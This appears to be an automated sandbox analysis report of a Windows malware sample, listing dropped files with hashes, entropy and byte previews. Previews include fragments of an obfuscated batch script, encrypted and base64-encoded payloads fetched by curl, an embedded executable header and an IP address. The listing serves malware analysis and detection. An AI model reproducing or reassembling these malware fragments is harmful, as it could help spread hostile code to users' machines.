Preview:	Set Niger=g..MoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-..lMAAlien-..UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-..bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-..lNCompleted-..KRuxInjection-Med-..HeTft-Crazy-Shares-..hyCGifts-Rats-Shakira-Principle-Community-Gates-..PNbUntil-Tones-Illustrated-Varying-Senator-Considers-Floors-..uCUValuable-..Set Warcraft=h..nrcnAssociated-Tile-Almost-Edited-Edt-Victoria-Load-..bRUWma-Spreading-Worry-Calculate-..yxIParameter-Wondering-Syria-Toolbox-Acer-Tricks-Printable-..mDwGJuvenile-Usually-Packet-Kruger-Toronto-Shock-..jgRepublicans-Du-..Set Toe=u..aKaRTractor-Missed-Important-Declined-Eyes-..QjfmExplaining-Salary-Naked-..oKAttached-Genesis-Dude-Proceed-Johnston-Script-Libraries-..XUPlatinum-..WzTattoo-Credit-Funny-Sharp-Sally-..fhPPortal-Boot-Moore-Ourselves-..QHqInform-Creatures-Crash-..HLRaise-Tobacco-Colorado-..ldXPsp-Briefs-Seeking-..VJtwCanvas-Brake-Harper-Jake-Excluded-Dinner-Defence-All-Earl-..

C:\Users\user\AppData\Local\Temp\Shepherd

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	7.996425515192741
Encrypted:	true
SSDEEP:	1536:QjlyE+ynuF+X9HagYe9pCzlN0QHVIOpsgEFqNqRBa:QjlR+J+NS/zlq2Ies/FqNqm
MD5:	6F514C002DA512210E64BB40B389938E
SHA1:	2E18FF508F42EFA8B771DE5C6C4AB776B95F27E5
SHA-256:	F3612359DC4FCF6B5B1A1F7DE8D01260B029FA5663DECD830EA701F49D8F9254
SHA-512:	32B0420FB84921812B864367776FD8F8EBFA00799CB474673CDA445448F7D60BBB43C2464622256B8CE5B45D58620E15C524B379914254C6A366896E5A9FE96E
Malicious:	true
Preview:	.,&.b..k...li..{^j....y..........'.qa.{K....$..Zd^...."...y...Q.Ni_.j.eq)..i-SC....u ...."."zbrxj...\=..._D.&....q.lr...@..m...f..\.. .V.#yg...../[....ny.0....:c.by.s...=L..7.R.. d40....q..k.........z..2..d./...R....M..J3m...!.c....H.D./._......z......#.....&.>...{E{...tVi:...C........&.F......>.'N.R....3.....Jm;>.m.....>....).vB..b?.Jir......<.q......?uY...]......0'...oO .....v.[.."..)G"..Or....n.%P....].......VrW5!..@....>NMH.......b.4.{;....\|...=28....w@i$.W1....B...;]..f.....$8D...(..=.>?J.3..n..,&.>k}Z...L~/qLo...@s2b...q..Ij..V>..6.%d...t....=..T%C..:>r....JB....!.=...\.R#P."w7...r...4<b\..A..:....hG.z....Y.6.4.o..y.........g{-....L4...'.%).q.d.T..AX..M.,..,.gR.$..T9r.,..M"80...]w...Z`Y.6....\P...@..K.y......A......tvZT..E....{.&...(..3......._....S}.Z..l..y......\}i.3T>../..M..~>....@Z.y..W...d.K.._....1@..=E.T.5...Nm...B...zvU....fd....<...5]..*n.j...\...g..KK..(A..6..9P.H../X......&...f.\|.;c.bi.....,..ly........D.........

C:\Users\user\AppData\Local\Temp\Showcase

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	7.998179873024088
Encrypted:	true
SSDEEP:	1536:IJ7fpWmVR947WJpKBjqGlfMyWw4XNetIVwnkjN5VfmzPKR:IJdWGiWJpg0SGEkRR
MD5:	3AE881AAE44C0D99645ECCD7C0476DE2
SHA1:	D888F63971C106EA70C94742259E4B012352C189
SHA-256:	53AD1ED80D9A1C61242F88DA71CE874E3F23DBA723A8BCD311A9C5611D9E6824
SHA-512:	46F11524A3BF7A9DF6E020C349C241CB23E33250CA05E8047D4D9555DBDFA9E008673961298E645B5B1A64635FEF9F8C2DD938B5E4496305013D1436CDF32659
Malicious:	true
Preview:	Y...P...aq...(..hJ..66!Ct9A.h....1U.U...%..J.....X..Z..~.....S...L...8.......A..\|.......W./..A...2......K....~....k..".j... Vo......{..+z..dT.RmoF;i.T..@........T......`W..J....p.R.."MJ.\|8./1.z.....&.6.....D/;....M\......(y........uUn8$U)e........{..01$.?...t+....M.(.kK.R..z.\|...\J....<s.... .j..4...!.1..pF.}=DC......bx.J....._.,.....E.........l.V...7.........r.`.z...d..qS...~Vu.=...Q/.(".B.[8o..'_.7q2T...x. {].....%y:.+2....-.z<.xpciP../...,...>(.YS.<.,..L....+R..Rb.ZQ..m.k....zp.ZE........B.x..P..D...LAjt.e_TS....6...Ad...=/~b.J.I.+. .,:.j......4I.6.[y.g.qM"...9h....JfW.m..u.N.$$.........NW.....g-ds...&=...z,..{N..=mU.Z.....&...... ......n.#.T~..JX.K..$.d.\|.H..8".k.....X.%W..>.4.....6.E.r..A...).....h. ...6.q..>T.$.:...1......6(...sXJf.......0.]7#!+....d7...s.{...y.D..c0.......XX...V[.e...?.GE.._......r....3H.K...pW.x..5[...]i#......)(i.keu...j...}...........\|..H....(.....7w.&.U...R..9aT.kP.~./5.(.4..........W.~.b....o..."A.

C:\Users\user\AppData\Local\Temp\Subsection

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	17183
Entropy (8bit):	7.988350562180771
Encrypted:	false
SSDEEP:	384:wA4VpjZ/UNGuIvgvnYQNJeCmEDnOwdDJKAQWX0emQYg5vh6p:wA4VpyNGHvgvnxeCvOWPQATYgOp
MD5:	C93AF8F0303E164AED3CC9322F159DAA
SHA1:	D187A11D000A1CF0FA59EFB54F4FFC231F7BEF06
SHA-256:	63D5678C4E49212E030896980B1AE1088198FDB582BEDBF4518F2B4B650A5F0B
SHA-512:	5F8388C1AAA4A06AE1CEAFC10E0E2C53FC62A41D2EACE3AFCB59F102440274395B7A6464CF739FCD8AE164145D3143F726C3D76B09A2A0EF3B30FAB7014885A8
Malicious:	false
Preview:	0....s.v..........DLq...p..........V.D.$......d.nW.G......a.....:T....I#.B....T..v...-.g..w....n..a.&..v..\....`.m...VI.K...`...-......K.%5:.,>HEAeL\|3.!...\.Ht.~.,".?/W..\....B}.8..FH...;...tP..k...4'./..L#h..s.G.>....X' D.T.....}...w.e_.M.P.3....apf...w#...R.....R..U..M4..{D.!....J....O.....D....V....^...X0....8?04\|..?y..a..2...G-H>....p.....W.p..".........8.v,...U....U...\T......[.Cn...j.z9VxR.d..iE5.8G]...m.d.QV.q..sGa.w.).K.8#7.!.."...S...C(..h.c..$........z...HI.Y/.Xk...8...t.=..q......{...H.(.H..l*wSq.$..}..9...G.{k.A4a....3.wE...9:/....^........Bab..>t1.Xa..f.y..B.e..r.a._.o.H.$..v.iuWy.....5...(.....K...%.FK....d..Q^.~.@.Y.u.{...y....H.o.M..<5,.s.L.Z...K.>j..,~..`Qu/"n.c..qm..rk..x.C.u.5\|^..l..v.[.:..S.!7....<.} J.ZZd..:..Bc>r.y^..<.'c?r.Y....!.Z..e.C..6..5..N.8.a%.5`...........$.q\|...O.#x(...9W\"..l)Au...=%...i.n.3.X.4br..c.X.kJ9.~.n..Ui~.s.e.v~;!9.4.\|/&&...a,..?....G"zO.....+0.pI....a...K.1.c.[;.....5.S%]v.......f.a..0..6..

C:\Users\user\AppData\Local\Temp\Trees

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	ASCII text, with very long lines (689), with CRLF line terminators
Category:	dropped
Size (bytes):	17649
Entropy (8bit):	5.128627831486869
Encrypted:	false
SSDEEP:	384:oRQvh6Ic90ko3C/plQUaeEHtPTfufYpKXA5x/5G8KAAYXJ1VifnwvGr:2R9pnll/EN845LXVifz
MD5:	F22350550734A9DBCC5059A9F385A695
SHA1:	055DA36D423DE6FAA27AC37D557F495B0691BFFE
SHA-256:	D72E5BD3169F5557AFBC7976C82B4F1BD2793147525FEE1C986DA99C6503DA02
SHA-512:	28657A31464AB3AA20B5345A9D02B57865A49248A206210F7171FE3DB423BFBFE2BADA2C41BBD141C4EEA08FF61A6585697D2ABB97C63D5FA2802AA03852E3D9
Malicious:	false
Preview:	Set Efforts=W..PZuTerrain-Atom-Accessories-..egConsistent-Firewall-Worldcat-Media-Vic-River-Characterized-..aXOAWishes-Modify-Km-..xUmmAberdeen-..xfWStriking-Ferrari-Static-Naked-Giving-..zDCisco-Exception-Association-Cowboy-..hGqSku-Expect-Evaluation-Misc-Chart-..iPkoMary-China-Pee-Sophisticated-..Set Love=s..RBtSWb-..JyNPPromotional-Expert-Universal-..zMcNervous-Geek-..iwpqLot-Polyphonic-Airline-Calm-Cigarette-..fpKpEars-Movies-..MPRConservation-Forever-Horrible-..runBlues-Ins-Montana-Upload-..RYzoRelax-Places-Atlas-Resolved-..Set Staying=r..SsmJBusy-Rental-Episodes-Programmer-Leader-Capitol-..vXPassword-Enabling-Profession-Casinos-Provides-Belt-Pond-Hungarian-Surround-..NPWProvidence-Grill-See-..lPTMNylon-Disclaimer-Service-Flavor-Cuisine-Nutrition-..weeERegulated-Hq-Filling-Serious-Plays-Collection-..GiPdZoophilia-Xp-Boxed-Feel-Healthcare-Democratic-Childhood-Anatomy-..JtTVInns-Slides-Throughout-Lauren-Punch-Rentcom-Fill-..YYbWOl-Welcome-Britain-Jet-She-..Set Egyptian=0..pqePDimens

C:\Users\user\AppData\Local\Temp\Trees.bat

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (689), with CRLF line terminators
Category:	dropped
Size (bytes):	17649
Entropy (8bit):	5.128627831486869
Encrypted:	false
SSDEEP:	384:oRQvh6Ic90ko3C/plQUaeEHtPTfufYpKXA5x/5G8KAAYXJ1VifnwvGr:2R9pnll/EN845LXVifz
MD5:	F22350550734A9DBCC5059A9F385A695
SHA1:	055DA36D423DE6FAA27AC37D557F495B0691BFFE
SHA-256:	D72E5BD3169F5557AFBC7976C82B4F1BD2793147525FEE1C986DA99C6503DA02
SHA-512:	28657A31464AB3AA20B5345A9D02B57865A49248A206210F7171FE3DB423BFBFE2BADA2C41BBD141C4EEA08FF61A6585697D2ABB97C63D5FA2802AA03852E3D9
Malicious:	false
Preview:	Set Efforts=W..PZuTerrain-Atom-Accessories-..egConsistent-Firewall-Worldcat-Media-Vic-River-Characterized-..aXOAWishes-Modify-Km-..xUmmAberdeen-..xfWStriking-Ferrari-Static-Naked-Giving-..zDCisco-Exception-Association-Cowboy-..hGqSku-Expect-Evaluation-Misc-Chart-..iPkoMary-China-Pee-Sophisticated-..Set Love=s..RBtSWb-..JyNPPromotional-Expert-Universal-..zMcNervous-Geek-..iwpqLot-Polyphonic-Airline-Calm-Cigarette-..fpKpEars-Movies-..MPRConservation-Forever-Horrible-..runBlues-Ins-Montana-Upload-..RYzoRelax-Places-Atlas-Resolved-..Set Staying=r..SsmJBusy-Rental-Episodes-Programmer-Leader-Capitol-..vXPassword-Enabling-Profession-Casinos-Provides-Belt-Pond-Hungarian-Surround-..NPWProvidence-Grill-See-..lPTMNylon-Disclaimer-Service-Flavor-Cuisine-Nutrition-..weeERegulated-Hq-Filling-Serious-Plays-Collection-..GiPdZoophilia-Xp-Boxed-Feel-Healthcare-Democratic-Childhood-Anatomy-..JtTVInns-Slides-Throughout-Lauren-Punch-Rentcom-Fill-..YYbWOl-Welcome-Britain-Jet-She-..Set Egyptian=0..pqePDimens

C:\Users\user\AppData\Local\Temp\Weeks

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	19214
Entropy (8bit):	6.415320460009485
Encrypted:	false
SSDEEP:	384:AlFuOqohnWzR7NNilkEdpMMKAdbLPlUccucHU0f//+ddNEqCt7E3c:8FxfhnWz8kETRZbRUccWk+3+e3c
MD5:	26E155FC3EF2C17CD9E020224971D6B6
SHA1:	B39303949CB9DF0E79E7D379492EF985F9803BCD
SHA-256:	A587A7035E7BA1E0A687D365C7239724C2AF5616826EE7CBE6B42C03AC89448B
SHA-512:	E7E19FF87E894D3EB0DEB2A39C78E6C158350DD4E641A1BA7127EBC6120AED680EE86BFA06C448B6B640D3065AC5A5A4E7AE0EC7E7D97927C5256BA549230FD9
Malicious:	false
Preview:	OVERTOOLBARALOTNHL..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;...h...h...h4;mh...h4;oh...h4;nh...h..[h...h..i...h..i...h..i...h...h...h...h...h...h...h..i..h..i...h..ch...h...h...h..i...hRich...h........PE..L...!..^.........."...............................@.......................................@...@.......@........................\|....P..h............J.......0..@v...........................C..........@............................................text...%........................... ..`.rdata..............................@..@.data...\|p.......H..................@....rsrc...h....P......................@..@.reloc..@v...0...x..................@..B............................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\agadw

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\dxjyu

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\dxmcp

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\fbswm

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\fntgj

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\fofqx

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\fprwf

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\gvhdi

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1813320
Entropy (8bit):	5.7074044081208415
Encrypted:	false
SSDEEP:	24576:WZZeX7tl1xw6JW3VrIS9GswjQGmToAnPDRPyccc9ntn5fS/Z76hMAX:ueDf0G875qqtnvWg
MD5:	2EAAE68CA44390605379C1973A83C343
SHA1:	4CE10B0C2717A631A53ACA5E9DAA7B0BF823C2E6
SHA-256:	1C8097E10CD7B6189A5E13E3B730E5E859675604EB8C459D7F7314D434CB9D8D
SHA-512:	CF365B466C2D8073B9DF3495428A8E0183BEC2D623372D4CFDFE58144E91B972C725B2C3430BC0D904D7CDD5E21C13F32AF9B2148E6ED5DA2EE9FF25994EA929
Malicious:	false
Preview:	VUVzRkpAUUFJQ0NBQUBqbkpHd096MVI3YVRHQkFBQkFBZUlLQUFBQ0wzcDZZUzVpYk96cS1ROTZGTFpUQUM1UlpDZkhjQXpzUWpYUUpVc21zOltHTGpCUEd6ZG9CcktiZ0VyW2tHUUZTZ0p2SlkwcmJfbVtBYWdpQmhbYE1waU1ZbCsyI3ZaU25VdmoyO0lVdnZYR1EjOHcyV3VpQ3VGUEZbXzFSa1dmZlVNTGdoQXVNfDg3Oys3b0w7bS03KS0xUGMvMVhAOFA6WG89LykpNzc3Nzd4emZsbHV3NWF4dG40RmBNZ0Q5Zjc3Z01qdjF4Y34vOmw1bmx1QW5admhBRGUzYlFpNU02I0dVfnpRc3R0VWZkenx6NDUzNHovbXZmenRiRTE3N3hsZTlJR1Y5ZG5eRXRkeWZobnc7aUZBNnd5L2owbCk5ZW5hUmN5UW8wVUBuMTExaWZMeGVmVG92Ly9mejo0N1RwNkZtUzl0OXIxMVBsRjlPKVNyKVJwTzBFNTVQQX5wUWJpZnJ8YVZPdXRkQ3FWXyc7NG4pbjFjTHo1bWtmYWJQbTIwVFZSMUopUUZNZG9QMEtmUTQ3NXp3M1dNOFoxYW5yPHBqTmZASDE2NG9mTkF9SjtYRzN6RXFGTU09VDZQQU5OT3lMbCtIZmpCRTpAUVY7VDBAdTVOa1BKeGNhS1d5Z34wYD5mKVZISnFHWkFscjtXRlFoSllIellvSnhBdGM1bFp2Njc4a0d6eHpFLWZ2LW9IMVJmR2wyRGRMc0xQSThYMTJkMWstcXN4QzJWWWpKcGJzaC91NnZTVCdoT0VkZ3BPKzF3Yk9aWn9sRWFNZDdBMnRFUGBpU015YXVyc2NrYkc6UHZFSmZAcnNTVHpdMG5zNjRMbDBDcEl8ZFYvOExwR280Z3cxbGhtZVdBZVU3YjRqZHZnYzVrTEQ2XWVZcj9oSDxYaE9qMVZ4dS0nI1Itb3RRbjJ0MjhmcFZ6WFVIWHFYQ1RB

C:\Users\user\AppData\Local\Temp\hzizi

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\jyffr

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.0271691184406193
Encrypted:	false
SSDEEP:	3:fuMjn:2c
MD5:	25E067CD4E4A75F63362CC5BBB6753F7
SHA1:	B44F0BDC9FF51735FFC74806DF56F87C47F232D8
SHA-256:	79372B9479FE4256464762527DE1169F3C449582EC7625C2D7A1F6FB7D4B62F9
SHA-512:	F863DD82AA3DC83387866153D3862F96DAD0F8F3A60D0ACC9F076EC20BD659671802FAD9B2E6B3E11E82C548C88040CB58682CD8566EE149B228E89A5850B4EB
Malicious:	false
Preview:	8.46.123.75

C:\Users\user\AppData\Local\Temp\lyvbm

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\mncym

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.711080496244278
Encrypted:	false
SSDEEP:	3:6T7NRiVWUbdan:e2Wqda
MD5:	0A2416AC74224E83DCF659956A6F20AB
SHA1:	13886E18B3EDEF191E7BF034E4F9365EE8D3A044
SHA-256:	FD16B31EBB50CE1E6957DAE8992554777C7241605B854D57726640E6213BC0E3
SHA-512:	8BC2F10ADD88C12D407156CC1CB3941D9FEA4E414746E4CE3CA904EBD5FAD5E25997B4A44289C53F0C75C2E9732EDF6B85F6D1BE3521A9F51CD5ACF69F1B5EE9
Malicious:	false
Preview:	9A5605DE11447A0E2031624EE8FBDE

C:\Users\user\AppData\Local\Temp\nefne

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\nhrsa

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:On:On
MD5:	C00C81FEDEF0B80B43CC1DB8DE50C00C
SHA1:	1AC21B1D5ACCB55CFA0ABBBCF57F836AADA49EE2
SHA-256:	A23C9F5563AD1C2019C59DDE6EB4FA3442C0B5BBF83A279854A3EE3987C51E7B
SHA-512:	869551F28FFE1BB9BA906EAA94D9C54FD2197215510DBF5A4F053F71A45C189A570F27920AC3688862E21043854319718B6E028D25A4E453FAAD9770EDE9C6D2
Malicious:	false
Preview:	bhlo

C:\Users\user\AppData\Local\Temp\oqsxp

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	76
Entropy (8bit):	4.733997907838829
Encrypted:	false
SSDEEP:	3:GZNuxTXGyiXbNNvGUX5djB+n1fzKB:GZN4TXGzqAd9WfzKB
MD5:	7EC936AF6BBF93CFD08DE32EB291263D
SHA1:	6216FC54E2B9EBDB416331AA344540846840F410
SHA-256:	BFAB8D48CEC02A93FEC9BF66AA8CEFE0D02EC305FD335BBBACBE61F996990B26
SHA-512:	F44C298E6AAD646614C14260052D7327E0B1DB33F1212DF33F401179DC2EAD348312D9006C635EE71346FFB3BA692DD829941A9AC894C43EE3BE4C805DD8AD9E
Malicious:	false
Preview:	W0BdWUhfW0BVWUJVZmNucWdZQl1kaWRxZ1tCXVJldmVud21GZXZpYWdzLmd4ZSozW0hdMzIqW0Jd

C:\Users\user\AppData\Local\Temp\qfmnd

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.145748944015591
Encrypted:	false
SSDEEP:	3:9zHW4mVQFjDVB++U8qYZxGgUqeJ:RHW4miRPrqYZcLqeJ
MD5:	BEAABAAF1170504DE9CB53DE6EA6C43D
SHA1:	738AF18491BDC5F5F8EB581ABF32BE11F7B4BEA0
SHA-256:	B3F0913BFB1C486CD263BF9540D89DA3345387EEDD5EC82AC939592E212FAD90
SHA-512:	4731E8A631796596E6DA6A30B5FD7F0C5DD26C9E906C33A5F9B58C82EB4E53167D5E748D5AE263EC8317C659735C8C06DF09540AB71952D0947FDFF4FF6CFD0C
Malicious:	false
Preview:	UmV2Z2Z3ZURtdGtrZXEsZ3pnKFJnfm1sd2VGZXZpY2VzLG16ZSo2KDMqKmA0ODdgNWo1MzYzNmA0MDc1NmY0MmExZmc9OmY4Ozs7IjA=

C:\Users\user\AppData\Local\Temp\rrmou

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	298556
Entropy (8bit):	5.379476611183253
Encrypted:	false
SSDEEP:	3072:T7MVB4NzC5tmjDNpJol5YccxLSnh7VPHb6SYZ8g3H5mjhg/9/C//n0Q+v8o/q1u2:TLmOwmunJcZ8gpgq5O9YrihCTHE
MD5:	65E07A754EFFE6EC11638A25447289A5
SHA1:	948CBF6B970FFB432D8EBB1D367CEE5AFA826A83
SHA-256:	995338989BBEB5F5304A6C1FC13D75580A26BED964CC9F930E6D6DBC59FA5FD5
SHA-512:	67F896FE0B1A4385119351BD41A5D62FEF03F261A32E2B347DE2F2E1475A482BD366BC9CFFA26690EC8105DB0BC60267DF2397D6B7EC4A9CA7EE49819552CFB6
Malicious:	false
Preview:	VFZxU0lDTUFJQ0NNQUNDQy0tOkFDRG9DQ0FDQUFBQUFRQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NBQUNBQ0NDQUNDQ0FBQUNJQ0FBSUNDSUFDQ0M2Q0NBQ0k8ZHdnNkF0QW5OSWBvQFRNMGpUR2hyY3lCdWNlOWxhbUZ2SUVMamJvN3RkQ0JrUlFCeWxVNm9hVTZlUEc7VEtPOXRYR1d1RFEwS0pDSUNBQUFDQ0FEQ1VzWkdoTE9tRDRReHFAZ0dNNGVaNWl5NU42TXp5QGdNTTRpWjRoTW9EJzB0ckJnVU02Z1hzal9oRjRVeHNCY0pMNllaa1xPbUQ3SVRvamFVTTRlWlVtbGhpS1F6eUBhSUFDQ0NDQ0NBQ0lJQ0NBQ0FBQUFBQUNJQ0FBQUNDQUJTUlFBQ1RJRUZDRkNRSTJLQ0FDQ0NBQUFDSU1BQUx1R0RBU1tDQ0xDQkNJTGVDUUNBQUFBQWVHb0BBQUFTQ0FBQzRBRUNBSUJDQ0FBU0FDQ0NFQ0NDQkFBQ0lDQUFJQ0NNQUNDQ0NDQ0FDSUxDQ3dDQUVBQUFnS2NGQUFNQ0NBQUNBQkFDQUpBQ0NBQUNFQ0NDRUNDQ0FBQUNJQEFBSUNDSUFDQ0NDQ0NBQ0xJMUNnQFFBQUFBQUNJQ0FBQUNDQUFDQUFBQ0FJQUNDQUFDQUNDQ0FDQ0NBQUFDSUNBQUlDQ0lBQ0NDQ0NDQUNJSUNDQUNBQUFBQUFDSUNBQUFDQ0FBQ0FBQUNBSUFDQ0FBQ0FDQ0NBQ0NDQUFBQ0lDQUFJQ0NJNENHQ3RDR0FDSUlDQ0FDQUFBQUFBQ0lDQUFBQ0NBQUNBQUFDQUlBQ0NDNTJaWmoyQUNDQ3dNTUBJQ0FRSUNDSTBDR0NDQENBQ0lJQ0NBQ0FBQUFBQUN